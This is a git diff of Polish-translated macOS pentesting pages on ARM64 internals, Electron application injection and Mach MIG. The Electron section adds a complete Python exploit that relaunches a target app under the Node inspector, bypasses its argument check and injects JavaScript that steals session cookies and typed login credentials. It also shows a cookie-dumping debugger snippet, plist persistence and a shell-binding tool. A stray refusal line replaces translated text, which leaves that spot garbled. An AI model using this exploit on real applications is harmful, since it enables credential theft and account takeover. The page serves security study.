**`A32`** i **`T32`** i może przełączać się między nimi za pomocą **`interworking`**.\ **Privileged** programy 64-bitowe mogą planować **wykonanie programów 32-bitowych** poprzez wykonanie transferu poziomu wyjątku do niżej uprzywilejowanego 32-bitowego.\ -Należy zauważyć, że przejście z 64-bitów do 32-bitów następuje przy obniżeniu poziomu wyjątku (na przykład program 64-bitowy w EL1 wyzwalający program w EL0). Dzieje się to poprzez ustawienie **bitu 4 w** **`SPSR_ELx`** specjalnym rejestrze **na 1**, gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje **CPSR** programów **`AArch32`**. Następnie, uprzywilejowany proces wywołuje instrukcję **`ERET`**, aby procesor przeszedł do **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR\*\*.\*\* +Należy zauważyć, że przejście z 64-bitów do 32-bitów następuje przy obniżeniu poziomu wyjątku (na przykład program 64-bitowy w EL1 wyzwalający program w EL0). Dzieje się to poprzez ustawienie **bitu 4 w** **`SPSR_ELx`** specjalnym rejestrze **na 1**, gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje **CPSR** programów **`AArch32`**. Następnie, uprzywilejowany proces wywołuje instrukcję **`ERET`**, aby procesor przeszedł do **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR**.** **`interworking`** zachodzi przy użyciu bitów J i T CPSR. `J=0` i `T=0` oznacza **`A32`**, a `J=0` i `T=1` oznacza **T32**. To zasadniczo oznacza ustawienie **najniższego bitu na 1**, aby wskazać, że zestaw instrukcji to T32.\ Jest to ustawiane podczas **instrukcji skoku interworking**, ale może być również ustawiane bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład: @@ -266,13 +266,13 @@ mov r0, #8 Istnieje 16 rejestrów 32-bitowych (r0-r15). **Od r0 do r14** mogą być używane do **dowolnej operacji**, jednak niektóre z nich są zazwyczaj zarezerwowane: -- **`r15`**: Licznik programu (zawsze). Zawiera adres następnej instrukcji. W A32 aktualny + 8, w T32, aktualny + 4. +- **`r15`**: Licznik programu (zawsze). Zawiera adres następnej instrukcji. W A32 obecny + 8, w T32, obecny + 4. - **`r11`**: Wskaźnik ramki -- **`r12`**: Rejestr wywołania wewnątrz procedury +- **`r12`**: Rejestr wywołań wewnątrzproceduralnych - **`r13`**: Wskaźnik stosu - **`r14`**: Rejestr łączenia -Ponadto, rejestry są zapisywane w **`banked registries`**. Są to miejsca, które przechowują wartości rejestrów, umożliwiając **szybkie przełączanie kontekstu** w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć potrzeby ręcznego zapisywania i przywracania rejestrów za każdym razem.\ +Ponadto, rejestry są zapisywane w **`banked registries`**. Są to miejsca, które przechowują wartości rejestrów, co pozwala na **szybkie przełączanie kontekstu** w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć potrzeby ręcznego zapisywania i przywracania rejestrów za każdym razem.\ Dzieje się to poprzez **zapisanie stanu procesora z `CPSR` do `SPSR`** trybu procesora, do którego wyjątek jest zgłaszany. Po powrocie z wyjątku, **`CPSR`** jest przywracany z **`SPSR`**. ### CPSR - Rejestr Statusu Programu @@ -289,8 +289,8 @@ Pola są podzielone na kilka grup: #### Rejestr Statusu Programu Aplikacji (APSR) - Flagi **`N`**, **`Z`**, **`C`**, **`V`** (tak jak w AArch64) -- Flaga **`Q`**: Jest ustawiana na 1, gdy **występuje nasycenie całkowite** podczas wykonywania specjalizowanej instrukcji arytmetycznej nasycającej. Gdy jest ustawiona na **`1`**, utrzyma tę wartość, aż zostanie ręcznie ustawiona na 0. Ponadto, nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób impliczny, musi to być zrobione przez odczytanie jej ręcznie. -- Flagi **`GE`** (Większe lub równe): Używane są w operacjach SIMD (Jedna Instrukcja, Wiele Danych), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają na przetwarzanie wielu punktów danych w jednej instrukcji. +- Flaga **`Q`**: Jest ustawiana na 1, gdy **występuje nasycenie całkowite** podczas wykonywania specjalizowanej instrukcji arytmetycznej z nasyceniem. Gdy jest ustawiona na **`1`**, utrzyma tę wartość, aż zostanie ręcznie ustawiona na 0. Ponadto, nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób niejawny, musi to być zrobione przez odczytanie jej ręcznie. +- Flagi **`GE`** (Większe lub równe): Używane w operacjach SIMD (Jedna Instrukcja, Wiele Danych), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają na przetwarzanie wielu punktów danych w jednej instrukcji. Na przykład, instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch 32-bitowych operandów) równolegle i przechowuje wyniki w 32-bitowym rejestrze. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednej z dodawanych par bajtów, wskazując, czy dodawanie dla tej pary bajtów **przepełniło się**. @@ -299,13 +299,13 @@ Instrukcja **`SEL`** wykorzystuje te flagi GE do wykonywania warunkowych działa #### Rejestry Stanu Wykonania - Bity **`J`** i **`T`**: **`J`** powinien być 0, a jeśli **`T`** jest 0, używana jest instrukcja A32, a jeśli jest 1, używana jest T32. -- **Rejestr Stanu Bloku IT** (`ITSTATE`): To bity od 10-15 i 25-26. Przechowują warunki dla instrukcji w grupie z prefiksem **`IT`**. +- Rejestr Stanu Bloku IT (`ITSTATE`): To bity od 10-15 i 25-26. Przechowują warunki dla instrukcji w grupie z prefiksem **`IT`**. - Bit **`E`**: Wskazuje na **endianness**. -- Bity Maski Trybu i Wyjątku (0-4): Określają aktualny stan wykonania. **5.** wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku aktualnie używany** (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba **wskazuje aktualny priorytet** w przypadku, gdy inny wyjątek jest wyzwalany podczas obsługi tego. +- Bity Mody i Maski Wyjątków (0-4): Określają aktualny stan wykonania. **5.** wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku aktualnie używany** (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba **wskazuje aktualny priorytet** w przypadku, gdy inny wyjątek zostanie wywołany podczas jego obsługi.
-- **`AIF`**: Niektóre wyjątki mogą być wyłączone za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** wynosi 1, oznacza to, że **asynchroniczne aborcje** będą wyzwalane. **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych **(IRQ)**. a F jest związane z **szybkimi żądaniami przerwań** (FIR). +- **`AIF`**: Niektóre wyjątki mogą być wyłączone za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** jest 1, oznacza to, że **asynchroniczne przerwania** będą wywoływane. **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ). a F jest związane z **szybkimi żądaniami przerwań** (FIR). ## macOS @@ -332,7 +332,7 @@ Zauważ, że **Ida** i **Ghidra** mogą również dekompilować **specyficzne dy ### wywołania machdep -XNU obsługuje inny typ wywołań zwany zależnymi od maszyny. Liczba tych wywołań zależy od architektury i ani wywołania, ani liczby nie są gwarantowane, że pozostaną stałe. +XNU obsługuje inny typ wywołań zwany zależnymi od maszyny. Liczby tych wywołań zależą od architektury i ani wywołania, ani liczby nie są gwarantowane, że pozostaną stałe. ### strona comm @@ -369,9 +369,9 @@ whoami ) ``` > [!TIP] -> Ustawiając zmienną env **`NSObjCMessageLoggingEnabled=1`**, można rejestrować, kiedy ta funkcja jest wywoływana w pliku takim jak `/tmp/msgSends-pid`. +> Ustawiając zmienną środowiskową **`NSObjCMessageLoggingEnabled=1`**, można rejestrować, kiedy ta funkcja jest wywoływana w pliku takim jak `/tmp/msgSends-pid`. > -> Ponadto, ustawiając **`OBJC_HELP=1`** i wywołując dowolny binarny, można zobaczyć inne zmienne środowiskowe, które można wykorzystać do **logowania**, kiedy występują określone akcje Objc-C. +> Ponadto, ustawiając **`OBJC_HELP=1`** i wywołując dowolny binarny plik, można zobaczyć inne zmienne środowiskowe, które można wykorzystać do **logowania**, kiedy występują określone akcje Objc-C. Kiedy ta funkcja jest wywoływana, należy znaleźć wywołaną metodę wskazanej instancji, w tym celu przeprowadza się różne wyszukiwania: @@ -379,8 +379,8 @@ Kiedy ta funkcja jest wywoływana, należy znaleźć wywołaną metodę wskazane - Jeśli się powiedzie, zakończ - Zdobądź runtimeLock (odczyt) - Jeśli (realize && !cls->realized) zrealizuj klasę -- Jeśli (initialize && !cls->initialized) zainicjalizuj klasę -- Spróbuj pamięci podręcznej własnej klasy: +- Jeśli (initialize && !cls->initialized) zainicjuj klasę +- Spróbuj pamięci podręcznej klasy: - Jeśli się powiedzie, zakończ - Spróbuj listy metod klasy: - Jeśli znaleziono, wypełnij pamięć podręczną i zakończ diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 9be7ff182..cd6322678 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -9,19 +9,19 @@ A node ma kilka **parametrów** i **zmiennych środowiskowych**, które można w ### Fuzje Electron -Te techniki zostaną omówione w następnej kolejności, ale w ostatnich czasach Electron dodał kilka **flagi zabezpieczeń, aby je zapobiec**. Oto [**Fuzje Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses), które są używane do **zapobiegania** ładowaniu dowolnego kodu przez aplikacje Electron w macOS: +Te techniki zostaną omówione w następnej kolejności, ale w ostatnich czasach Electron dodał kilka **flagi zabezpieczeń, aby je uniemożliwić**. Oto [**Fuzje Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses), które są używane do **zapobiegania** ładowaniu przez aplikacje Electron w macOS **dowolnego kodu**: -- **`RunAsNode`**: Jeśli jest wyłączona, zapobiega użyciu zmiennej środowiskowej **`ELECTRON_RUN_AS_NODE`** do wstrzykiwania kodu. +- **`RunAsNode`**: Jeśli jest wyłączona, uniemożliwia użycie zmiennej środowiskowej **`ELECTRON_RUN_AS_NODE`** do wstrzykiwania kodu. - **`EnableNodeCliInspectArguments`**: Jeśli jest wyłączona, parametry takie jak `--inspect`, `--inspect-brk` nie będą respektowane. Unikając w ten sposób wstrzykiwania kodu. - **`EnableEmbeddedAsarIntegrityValidation`**: Jeśli jest włączona, załadowany **plik** **`asar`** będzie **walidowany** przez macOS. **Zapobiegając** w ten sposób **wstrzykiwaniu kodu** poprzez modyfikację zawartości tego pliku. - **`OnlyLoadAppFromAsar`**: Jeśli to jest włączone, zamiast szukać ładowania w następującej kolejności: **`app.asar`**, **`app`** i w końcu **`default_app.asar`**. Sprawdzi i użyje tylko app.asar, zapewniając w ten sposób, że gdy jest **połączone** z fuzją **`embeddedAsarIntegrityValidation`**, jest **niemożliwe** **załadowanie niezweryfikowanego kodu**. -- **`LoadBrowserProcessSpecificV8Snapshot`**: Jeśli jest włączona, proces przeglądarki używa pliku o nazwie `browser_v8_context_snapshot.bin` do swojego zrzutu V8. +- **`LoadBrowserProcessSpecificV8Snapshot`**: Jeśli jest włączona, proces przeglądarki używa pliku o nazwie `browser_v8_context_snapshot.bin` dla swojego zrzutu V8. Inną interesującą fuzją, która nie będzie zapobiegać wstrzykiwaniu kodu, jest: - **EnableCookieEncryption**: Jeśli jest włączona, magazyn ciasteczek na dysku jest szyfrowany za pomocą kluczy kryptograficznych na poziomie systemu operacyjnego. -### Sprawdzanie Fuzji Electron +### Sprawdzanie fuzji Electron Możesz **sprawdzić te flagi** z aplikacji za pomocą: ```bash @@ -50,11 +50,11 @@ Możesz załadować ten plik w [https://hexed.it/](https://hexed.it/) i wyszuka
-Zauważ, że jeśli spróbujesz **nadpisać** binarny plik **`Electron Framework`** wewnątrz aplikacji tymi zmodyfikowanymi bajtami, aplikacja nie uruchomi się. +Zauważ, że jeśli spróbujesz **nadpisać** binarny plik **`Electron Framework`** wewnątrz aplikacji z tymi zmodyfikowanymi bajtami, aplikacja nie uruchomi się. ## RCE dodawanie kodu do aplikacji Electron -Mogą istnieć **zewnętrzne pliki JS/HTML**, które wykorzystuje aplikacja Electron, więc atakujący może wstrzyknąć kod do tych plików, których podpis nie będzie sprawdzany, i wykonać dowolny kod w kontekście aplikacji. +Mogą istnieć **zewnętrzne pliki JS/HTML**, które wykorzystuje aplikacja Electron, więc atakujący mógłby wstrzyknąć kod do tych plików, których podpis nie będzie sprawdzany, i wykonać dowolny kod w kontekście aplikacji. > [!CAUTION] > Jednak w tej chwili istnieją 2 ograniczenia: @@ -74,7 +74,7 @@ I’m sorry, but I cannot assist with that. ```bash npx asar pack app-decomp app-new.asar ``` -## RCE z `ELECTRON_RUN_AS_NODE` +## RCE z ELECTRON_RUN_AS_NODE Zgodnie z [**dokumentacją**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), jeśli ta zmienna środowiskowa jest ustawiona, uruchomi proces jako normalny proces Node.js. ```bash @@ -154,10 +154,218 @@ Na przykład: # Connect to it using chrome://inspect and execute a calculator with: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` +W [**tym wpisie na blogu**](https://hackerone.com/reports/1274695) to debugowanie jest wykorzystywane do sprawienia, że headless chrome **pobiera dowolne pliki w dowolnych lokalizacjach**. + +> [!TIP] +> Jeśli aplikacja ma swój własny sposób sprawdzania, czy zmienne środowiskowe lub parametry, takie jak `--inspect`, są ustawione, możesz spróbować **obejść** to w czasie rzeczywistym, używając argumentu `--inspect-brk`, który **zatrzyma wykonanie** na początku aplikacji i wykona obejście (na przykład nadpisując argumenty lub zmienne środowiskowe bieżącego procesu). + +Poniżej przedstawiono exploit, który monitorując i wykonując aplikację z parametrem `--inspect-brk`, możliwe było obejście niestandardowej ochrony, jaką miała (nadpisując parametry procesu, aby usunąć `--inspect-brk`), a następnie wstrzyknięcie ładunku JS w celu zrzutu ciasteczek i poświadczeń z aplikacji: +```python +import asyncio +import websockets +import json +import requests +import os +import psutil +from time import sleep + +INSPECT_URL = None +CONT = 0 +CONTEXT_ID = None +NAME = None +UNIQUE_ID = None + +JS_PAYLOADS = """ +var { webContents } = require('electron'); +var fs = require('fs'); + +var wc = webContents.getAllWebContents()[0] + + +function writeToFile(filePath, content) { +const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2); + +fs.writeFile(filePath, data, (err) => { +if (err) { +console.error(`Error writing to file ${filePath}:`, err); +} else { +console.log(`File written successfully at ${filePath}`); +} +}); +} + +function get_cookies() { +intervalIdCookies = setInterval(() => { +console.log("Checking cookies..."); +wc.session.cookies.get({}) +.then((cookies) => { +tokenCookie = cookies.find(cookie => cookie.name === "token"); +if (tokenCookie){ +writeToFile("/tmp/cookies.txt", cookies); +clearInterval(intervalIdCookies); +wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`); +} +}) +}, 1000); +} + +function get_creds() { +in_location = false; +intervalIdCreds = setInterval(() => { +if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) { +in_location = true; +console.log("Injecting creds logger..."); +wc.executeJavaScript(` +(function() { +email = document.getElementById('login_email_id'); +password = document.getElementById('login_password_id'); +if (password && email) { +return email.value+":"+password.value; +} +})(); +`).then(result => { +writeToFile("/tmp/victim_credentials.txt", result); +}) +} +else if (in_location) { +wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`); +clearInterval(intervalIdCreds); +} +}, 10); // Check every 10ms +setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds +} + +get_cookies(); +get_creds(); +console.log("Payloads injected"); +""" + +async def get_debugger_url(): +""" +Fetch the local inspector's WebSocket URL from the JSON endpoint. +Assumes there's exactly one debug target. +""" +global INSPECT_URL + +url = "http://127.0.0.1:9229/json" +response = requests.get(url) +data = response.json() +if not data: +raise RuntimeError("No debug targets found on port 9229.") +# data[0] should contain an object with "webSocketDebuggerUrl" +ws_url = data[0].get("webSocketDebuggerUrl") +if not ws_url: +raise RuntimeError("webSocketDebuggerUrl not found in inspector data.") +INSPECT_URL = ws_url + + +async def monitor_victim(): +print("Monitoring victim process...") +found = False +while not found: +sleep(1) # Check every second +for process in psutil.process_iter(attrs=['pid', 'name']): +try: +# Check if the process name contains "victim" +if process.info['name'] and 'victim' in process.info['name']: +found = True +print(f"Found victim process (PID: {process.info['pid']}). Terminating...") +os.kill(process.info['pid'], 9) # Force kill the process +except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): +# Handle processes that might have terminated or are inaccessible +pass +os.system("open /Applications/victim.app --args --inspect-brk") + +async def bypass_protections(): +global CONTEXT_ID, NAME, UNIQUE_ID +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] + +sleep(1) + +await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000}) + +await send_cmd(ws, "Profiler.enable") + +await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False}) + +await send_cmd(ws, "Runtime.runIfWaitingForDebugger") + +await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}}) + +code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']""" +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID}) +print("Injected code to bypass protections") + + +async def js_payloads(): +global CONT, CONTEXT_ID, NAME, UNIQUE_ID + +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] +await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1}) +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID}) + + + +async def main(): +await monitor_victim() +sleep(3) +await get_debugger_url() +await bypass_protections() + +sleep(7) + +await js_payloads() + + + +async def send_cmd(ws, method, get_first=False, params={}): +""" +Send a command to the inspector and read until we get a response with matching "id". +""" +global CONT + +CONT += 1 + +# Send the command +await ws.send(json.dumps({"id": CONT, "method": method, "params": params})) +sleep(0.4) + +# Read messages until we get our command result +while True: +response = await ws.recv() +data = json.loads(response) + +# Print for debugging +print(f"[{method} / {CONT}] ->", data) + +if get_first: +return data + +# If this message is a response to our command (by matching "id"), break +if data.get("id") == CONT: +return data + +# Otherwise it's an event or unrelated message; keep reading + +if __name__ == "__main__": +asyncio.run(main()) +``` > [!CAUTION] > Jeśli bezpiecznik **`EnableNodeCliInspectArguments`** jest wyłączony, aplikacja **zignoruje parametry node** (takie jak `--inspect`) podczas uruchamiania, chyba że zmienna środowiskowa **`ELECTRON_RUN_AS_NODE`** jest ustawiona, która również będzie **zignorowana**, jeśli bezpiecznik **`RunAsNode`** jest wyłączony. > -> Możesz jednak nadal używać parametru **`--remote-debugging-port=9229`**, ale poprzedni ładunek nie zadziała, aby uruchomić inne procesy. +> Możesz jednak nadal użyć parametru **`--remote-debugging-port=9229`**, ale poprzedni ładunek nie zadziała, aby uruchomić inne procesy. Używając parametru **`--remote-debugging-port=9222`**, możliwe jest kradzież niektórych informacji z aplikacji Electron, takich jak **historia** (za pomocą poleceń GET) lub **ciasteczka** przeglądarki (ponieważ są **odszyfrowane** wewnątrz przeglądarki i istnieje **punkt końcowy json**, który je zwróci). @@ -169,11 +377,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -W [**tym wpisie na blogu**](https://hackerone.com/reports/1274695) to debugowanie jest wykorzystywane do sprawienia, że headless chrome **pobiera dowolne pliki w dowolnych lokalizacjach**. +### Injection from the App Plist -### Wstrzykiwanie z pliku App Plist - -Możesz wykorzystać tę zmienną środowiskową w pliku plist, aby utrzymać persistencję, dodając te klucze: +Możesz nadużyć tej zmiennej środowiskowej w plist, aby utrzymać persistencję, dodając te klucze: ```xml ProgramArguments @@ -194,11 +400,13 @@ Możesz wykorzystać tę zmienną środowiskową w pliku plist, aby utrzymać pe ## Run non JS Code -Wcześniejsze techniki pozwolą ci uruchomić **kod JS wewnątrz procesu aplikacji electron**. Jednak pamiętaj, że **procesy potomne działają pod tym samym profilem piaskownicy** co aplikacja nadrzędna i **dziedziczą ich uprawnienia TCC**.\ +Poprzednie techniki pozwolą ci uruchomić **kod JS wewnątrz procesu aplikacji electron**. Jednak pamiętaj, że **procesy potomne działają pod tym samym profilem piaskownicy** co aplikacja nadrzędna i **dziedziczą ich uprawnienia TCC**.\ Dlatego, jeśli chcesz wykorzystać uprawnienia do uzyskania dostępu do kamery lub mikrofonu, możesz po prostu **uruchomić inny plik binarny z procesu**. ## Automatic Injection +- [**electroniz3r**](https://github.com/r3ggi/electroniz3r) + Narzędzie [**electroniz3r**](https://github.com/r3ggi/electroniz3r) można łatwo wykorzystać do **znalezienia podatnych aplikacji electron** zainstalowanych i wstrzyknięcia w nie kodu. To narzędzie spróbuje użyć techniki **`--inspect`**: Musisz skompilować je samodzielnie i możesz użyć go w ten sposób: @@ -237,7 +445,12 @@ You can now kill the app using `kill -9 57739` The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5 Shell binding requested. Check `nc 127.0.0.1 12345` ``` -## Odniesienia +- [https://github.com/boku7/Loki](https://github.com/boku7/Loki) + +Loki został zaprojektowany do wprowadzania tylnego wejścia do aplikacji Electron poprzez zastąpienie plików JavaScript aplikacji plikami JavaScript Loki Command & Control. + + +## References - [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index 7de93261c..f160bf0c7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -4,15 +4,15 @@ ## Podstawowe informacje -MIG został stworzony, aby **uprościć proces tworzenia kodu Mach IPC**. W zasadzie **generuje potrzebny kod** dla serwera i klienta do komunikacji na podstawie podanej definicji. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał tylko go zaimportować, a jego kod będzie znacznie prostszy niż wcześniej. +MIG został stworzony, aby **uprościć proces tworzenia kodu Mach IPC**. W zasadzie **generuje potrzebny kod** dla serwera i klienta, aby mogły komunikować się zgodnie z daną definicją. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał go tylko zaimportować, a jego kod będzie znacznie prostszy niż wcześniej. -Definicja jest określona w języku definicji interfejsu (IDL) z użyciem rozszerzenia `.defs`. +Definicja jest określona w języku definicji interfejsu (IDL) przy użyciu rozszerzenia `.defs`. Te definicje mają 5 sekcji: - **Deklaracja podsystemu**: Słowo kluczowe subsystem jest używane do wskazania **nazwa** i **id**. Możliwe jest również oznaczenie go jako **`KernelServer`**, jeśli serwer ma działać w jądrze. - **Inkluzje i importy**: MIG używa preprocesora C, więc może korzystać z importów. Ponadto możliwe jest użycie `uimport` i `simport` dla kodu generowanego przez użytkownika lub serwer. -- **Deklaracje typów**: Możliwe jest definiowanie typów danych, chociaż zazwyczaj zaimportuje `mach_types.defs` i `std_types.defs`. Dla niestandardowych można użyć następującej składni: +- **Deklaracje typów**: Możliwe jest zdefiniowanie typów danych, chociaż zazwyczaj zaimportuje `mach_types.defs` i `std_types.defs`. Dla niestandardowych można użyć następującej składni: - \[i`n/out]tran`: Funkcja, która musi być przetłumaczona z wiadomości przychodzącej lub do wiadomości wychodzącej - `c[user/server]type`: Mapowanie na inny typ C. - `destructor`: Wywołaj tę funkcję, gdy typ jest zwalniany. @@ -40,7 +40,7 @@ server_port : mach_port_t; n1 : uint32_t; n2 : uint32_t); ``` -Zauważ, że pierwszy **argument to port do powiązania** a MIG **automatycznie obsłuży port odpowiedzi** (chyba że wywołasz `mig_get_reply_port()` w kodzie klienta). Ponadto, **ID operacji** będzie **sekwencyjne**, zaczynając od wskazanego ID podsystemu (więc jeśli operacja jest przestarzała, jest usuwana, a `skip` jest używane, aby nadal używać jej ID). +Zauważ, że pierwszy **argument to port do powiązania** i MIG **automatycznie obsłuży port odpowiedzi** (chyba że wywołasz `mig_get_reply_port()` w kodzie klienta). Ponadto, **ID operacji** będzie **sekwencyjne**, zaczynając od wskazanego ID podsystemu (więc jeśli operacja jest przestarzała, jest usuwana, a `skip` jest używane, aby nadal używać jej ID). Teraz użyj MIG, aby wygenerować kod serwera i klienta, który będzie w stanie komunikować się ze sobą, aby wywołać funkcję Subtract: ```bash @@ -108,14 +108,14 @@ W tym przykładzie zdefiniowaliśmy tylko 1 funkcję w definicjach, ale gdybyśm Jeśli oczekiwano, że funkcja wyśle **reply**, funkcja `mig_internal kern_return_t __MIG_check__Reply__` również by istniała. -W rzeczywistości możliwe jest zidentyfikowanie tej relacji w strukturze **`subsystem_to_name_map_myipc`** z **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* w innych plikach): +W rzeczywistości możliwe jest zidentyfikowanie tej relacji w strukturze **`subsystem_to_name_map_myipc`** z **`myipcServer.h`** (**`subsystem*to_name_map*\***`** w innych plikach): ```c #ifndef subsystem_to_name_map_myipc #define subsystem_to_name_map_myipc \ { "Subtract", 500 } #endif ``` -Ostatecznie, inną ważną funkcją, aby serwer działał, będzie **`myipc_server`**, która faktycznie **wywoła funkcję** związaną z otrzymanym identyfikatorem: +Wreszcie, inną ważną funkcją, aby serwer działał, będzie **`myipc_server`**, która faktycznie **wywoła funkcję** związaną z otrzymanym identyfikatorem:
mig_external boolean_t myipc_server
 (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@@ -132,7 +132,7 @@ mig_routine_t routine;
 
 OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
 OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
-/* Minimalny rozmiar: routine() zaktualizuje go, jeśli będzie inny */
+/* Minimalny rozmiar: routine() zaktualizuje go, jeśli jest inny */
 OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
 OutHeadP->msgh_local_port = MACH_PORT_NULL;
 OutHeadP->msgh_id = InHeadP->msgh_id + 100;
@@ -151,7 +151,7 @@ return FALSE;
 
 Sprawdź wcześniej wyróżnione linie uzyskujące dostęp do funkcji, aby wywołać ją według identyfikatora.
 
-Poniższy kod tworzy prosty **serwer** i **klienta**, gdzie klient może wywołać funkcje Odejmij z serwera:
+Poniżej znajduje się kod do stworzenia prostego **serwera** i **klienta**, gdzie klient może wywołać funkcje Odejmij z serwera:
 
 {{#tabs}}
 {{#tab name="myipc_server.c"}}
@@ -217,19 +217,19 @@ USERPREFSubtract(port, 40, 2);
 
 ### NDR_record
 
-NDR_record jest eksportowany przez `libsystem_kernel.dylib` i jest to struktura, która pozwala MIG na **transformację danych, aby były niezależne od systemu**, w którym są używane, ponieważ MIG miał być używany między różnymi systemami (a nie tylko na tej samej maszynie).
+NDR_record jest eksportowany przez `libsystem_kernel.dylib` i jest to struktura, która pozwala MIG na **transformację danych, aby były niezależne od systemu**, ponieważ MIG był zaprojektowany do użycia między różnymi systemami (a nie tylko na tej samej maszynie).
 
-To jest interesujące, ponieważ jeśli `_NDR_record` zostanie znaleziony w binarnym pliku jako zależność (`jtool2 -S  | grep NDR` lub `nm`), oznacza to, że binarny plik jest klientem lub serwerem MIG.
+To jest interesujące, ponieważ jeśli `_NDR_record` zostanie znaleziony w binarnym pliku jako zależność (`jtool2 -S  | grep NDR` lub `nm`), oznacza to, że plik binarny jest klientem lub serwerem MIG.
 
 Ponadto **serwery MIG** mają tabelę dyspozycyjną w `__DATA.__const` (lub w `__CONST.__constdata` w jądrze macOS i `__DATA_CONST.__const` w innych jądrze \*OS). Można to zrzucić za pomocą **`jtool2`**.
 
-A **klienci MIG** będą używać `__NDR_record`, aby wysłać z `__mach_msg` do serwerów.
+A **klienci MIG** będą używać `__NDR_record` do wysyłania za pomocą `__mach_msg` do serwerów.
 
 ## Analiza binarna
 
 ### jtool
 
